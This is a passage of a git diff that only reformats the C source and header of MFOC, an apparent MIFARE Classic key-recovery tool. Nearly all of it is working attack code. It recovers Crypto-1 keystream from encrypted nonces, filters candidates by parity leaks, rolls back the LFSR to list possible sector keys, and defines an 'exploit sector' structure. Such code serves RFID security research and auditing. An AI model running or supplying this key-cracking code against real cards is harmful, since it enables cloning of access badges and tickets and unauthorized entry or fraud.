NP_HANDLE_CRC, true) < 0) { - nfc_perror (r.pdi, "nfc_device_set_property_bool crc restore M"); - exit (EXIT_FAILURE); - } + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool crc restore M"); + exit(EXIT_FAILURE); + } - // Save the encrypted nonce - NtEnc = bytes_to_num(Rx, 4); + // Save the encrypted nonce + NtEnc = bytes_to_num(Rx, 4); - // Parity validity check - for (i = 0; i < 3; ++i) { - d->parity[i] = (oddparity(Rx[i]) != RxPar[i]); - } + // Parity validity check + for (i = 0; i < 3; ++i) { + d->parity[i] = (oddparity(Rx[i]) != RxPar[i]); + } - // Iterate over Nt-x, Nt+x - // fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE); - NtProbe = prng_successor(Nt, d->median-d->tolerance); - for (m = d->median-d->tolerance; m <= d->median+d->tolerance; m +=2) { + // Iterate over Nt-x, Nt+x + // fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE); + NtProbe = prng_successor(Nt, d->median - d->tolerance); + for (m = d->median - d->tolerance; m <= d->median + d->tolerance; m += 2) { - // Try to recover the keystream1 - Ks1 = NtEnc ^ NtProbe; + // Try to recover the keystream1 + Ks1 = NtEnc ^ NtProbe; - // Skip this nonce after invalid 3b parity check - revstate_start = NULL; - if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) { - // And finally recover the first 32 bits of the key - revstate = lfsr_recovery32(Ks1, NtProbe ^ t.authuid); - if (revstate_start == NULL) { - revstate_start = revstate; - } - while ((revstate->odd != 0x0) || (revstate->even != 0x0)) { - lfsr_rollback_word(revstate, NtProbe ^ t.authuid, 0); - crypto1_get_lfsr(revstate, &lfsr); - // Allocate a new space for keys - if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) { - pk->size += MEM_CHUNK; - // fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t)); - pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t)); - if (pk->possibleKeys == NULL) { - ERR ("Memory allocation error for pk->possibleKeys"); - exit (EXIT_FAILURE); - } - } - pk->possibleKeys[kcount] = lfsr; - kcount++; - revstate++; - } - free(revstate_start); - } - NtProbe = prng_successor(NtProbe, 2); - } - // Truncate - if (kcount != 0) { - pk->size = --kcount; - if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) { - ERR ("Memory allocation error for pk->possibleKeys"); - exit (EXIT_FAILURE); - } - } - } - crypto1_destroy(pcs); - return 0; + // Skip this nonce after invalid 3b parity check + revstate_start = NULL; + if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) { + // And finally recover the first 32 bits of the key + revstate = lfsr_recovery32(Ks1, NtProbe ^ t.authuid); + if (revstate_start == NULL) { + revstate_start = revstate; + } + while ((revstate->odd != 0x0) || (revstate->even != 0x0)) { + lfsr_rollback_word(revstate, NtProbe ^ t.authuid, 0); + crypto1_get_lfsr(revstate, &lfsr); + // Allocate a new space for keys + if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) { + pk->size += MEM_CHUNK; + // fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t)); + pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t)); + if (pk->possibleKeys == NULL) { + ERR("Memory allocation error for pk->possibleKeys"); + exit(EXIT_FAILURE); + } + } + pk->possibleKeys[kcount] = lfsr; + kcount++; + revstate++; + } + free(revstate_start); + } + NtProbe = prng_successor(NtProbe, 2); + } + // Truncate + if (kcount != 0) { + pk->size = --kcount; + if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) { + ERR("Memory allocation error for pk->possibleKeys"); + exit(EXIT_FAILURE); + } + } + } + crypto1_destroy(pcs); + return 0; } // Return the median value from the nonce distances array -uint32_t median(denonce d) { - int middle = (int) d.num_distances / 2; - qsort(d.distances, d.num_distances, sizeof(uint32_t), compar_int); +uint32_t median(denonce d) +{ + int middle = (int) d.num_distances / 2; + qsort(d.distances, d.num_distances, sizeof(uint32_t), compar_int); - if (d.num_distances % 2 == 1) { - // Odd number of elements - return d.distances[middle]; - } else { - // Even number of elements, return the smaller value - return (uint32_t) (d.distances[middle-1]); - } + if (d.num_distances % 2 == 1) { + // Odd number of elements + return d.distances[middle]; + } else { + // Even number of elements, return the smaller value + return (uint32_t)(d.distances[middle - 1]); + } } -int compar_int(const void * a, const void * b) { - return (*(uint64_t*)b - *(uint64_t*)a); +int compar_int(const void *a, const void *b) +{ + return (*(uint64_t *)b - * (uint64_t *)a); } // Compare countKeys structure -int compar_special_int(const void * a, const void * b) { - return (((countKeys *)b)->count - ((countKeys *)a)->count); +int compar_special_int(const void *a, const void *b) +{ + return (((countKeys *)b)->count - ((countKeys *)a)->count); } -countKeys * uniqsort(uint64_t * possibleKeys, uint32_t size) { - unsigned int i, j = 0; - int count = 0; - countKeys *our_counts; +countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size) +{ + unsigned int i, j = 0; + int count = 0; + countKeys *our_counts; - qsort(possibleKeys, size, sizeof (uint64_t), compar_int); + qsort(possibleKeys, size, sizeof(uint64_t), compar_int); - our_counts = calloc(size, sizeof(countKeys)); - if (our_counts == NULL) { - ERR ("Memory allocation error for our_counts"); - exit (EXIT_FAILURE); - } + our_counts = calloc(size, sizeof(countKeys)); + if (our_counts == NULL) { + ERR("Memory allocation error for our_counts"); + exit(EXIT_FAILURE); + } - for (i = 0; i < size; i++) { - if (possibleKeys[i+1] == possibleKeys[i]) { - count++; - } else { - our_counts[j].key = possibleKeys[i]; - our_counts[j].count = count; - j++; - count=0; - } - } - qsort(our_counts, j, sizeof(countKeys), compar_special_int); - return (our_counts); + for (i = 0; i < size; i++) { + if (possibleKeys[i + 1] == possibleKeys[i]) { + count++; + } else { + our_counts[j].key = possibleKeys[i]; + our_counts[j].count = count; + j++; + count = 0; + } + } + qsort(our_counts, j, sizeof(countKeys), compar_special_int); + return (our_counts); } // Return 1 if the nonce is invalid else return 0 -int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t * parity) { - return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1,16))) & \ - (odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1,8))) & \ - (odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1,0)))) ? 1 : 0; +int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity) +{ + return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) & \ + (odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) & \ + (odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))) ? 1 : 0; } -void num_to_bytes(uint64_t n, uint32_t len, uint8_t* dest) { - while (len--) { - dest[len] = (uint8_t) n; - n >>= 8; - } +void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest) +{ + while (len--) { + dest[len] = (uint8_t) n; + n >>= 8; + } } -long long unsigned int bytes_to_num(uint8_t* src, uint32_t len) { - uint64_t num = 0; - while (len--) - { - num = (num << 8) | (*src); - src++; - } - return num; +long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) +{ + uint64_t num = 0; + while (len--) { + num = (num << 8) | (*src); + src++; + } + return num; } diff --git a/src/mfoc.h b/src/mfoc.h index b0696e1..db16c0f 100644 --- a/src/mfoc.h +++ b/src/mfoc.h @@ -24,63 +24,63 @@ #define odd_parity(i) (( (i) ^ (i)>>1 ^ (i)>>2 ^ (i)>>3 ^ (i)>>4 ^ (i)>>5 ^ (i)>>6 ^ (i)>>7 ^ 1) & 0x01) typedef struct { - uint8_t KeyA[6]; - uint8_t KeyB[6]; - bool foundKeyA; - bool foundKeyB; - uint8_t trailer; // Value of a trailer block + uint8_t KeyA[6]; + uint8_t KeyB[6]; + bool foundKeyA; + bool foundKeyB; + uint8_t trailer; // Value of a trailer block } sector; typedef struct { - uint32_t *distances; - uint32_t median; - uint32_t num_distances; - uint32_t tolerance; - uint8_t parity[3]; // used for 3 bits of parity information + uint32_t *distances; + uint32_t median; + uint32_t num_distances; + uint32_t tolerance; + uint8_t parity[3]; // used for 3 bits of parity information } denonce; // Revealed information about nonce typedef struct { - nfc_target nt; - sector * sectors; // Allocate later, we do not know the number of sectors yet - sector e_sector; // Exploit sector - uint8_t num_sectors; - uint8_t num_blocks; - uint32_t authuid; - bool b4K; + nfc_target nt; + sector *sectors; // Allocate later, we do not know the number of sectors yet + sector e_sector; // Exploit sector + uint8_t num_sectors; + uint8_t num_blocks; + uint32_t authuid; + bool b4K; } mftag; typedef struct { - uint64_t *possibleKeys; - uint32_t size; + uint64_t *possibleKeys; + uint32_t size; } pKeys; typedef struct { - uint64_t *brokenKeys; - int32_t size; + uint64_t *brokenKeys; + int32_t size; } bKeys; typedef struct { - nfc_device *pdi; + nfc_device *pdi; } mfreader; typedef struct { - uint64_t key; - int count; + uint64_t key; + int count; } countKeys; -void usage(FILE * stream, int errno); +void usage(FILE *stream, int errno); void mf_init(mfreader *r); -void mf_configure(nfc_device* pdi); -void mf_select_tag(nfc_device* pdi, nfc_target* pnt); +void mf_configure(nfc_device *pdi); +void mf_select_tag(nfc_device *pdi, nfc_target *pnt); int trailer_block(uint32_t block); int find_exploit_sector(mftag t); void mf_anticollision(mftag t, mfreader r); int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA); uint32_t median(denonce d); -int compar_int(const void * a, const void * b); -int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t * parity); -int compar_special_int(const void * a, const void * b); -countKeys * uniqsort(uint64_t *possibleKeys, uint32_t size); -void num_to_bytes(uint64_t n, uint32_t len, uint8_t* dest); -long long unsigned int bytes_to_num(uint8_t* src, uint32_t len); +int compar_int(const void *a, const void *b); +int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity); +int compar_special_int(const void *a, const void *b); +countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size); +void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest); +long long unsigned int bytes_to_num(uint8_t *src, uint32_t len);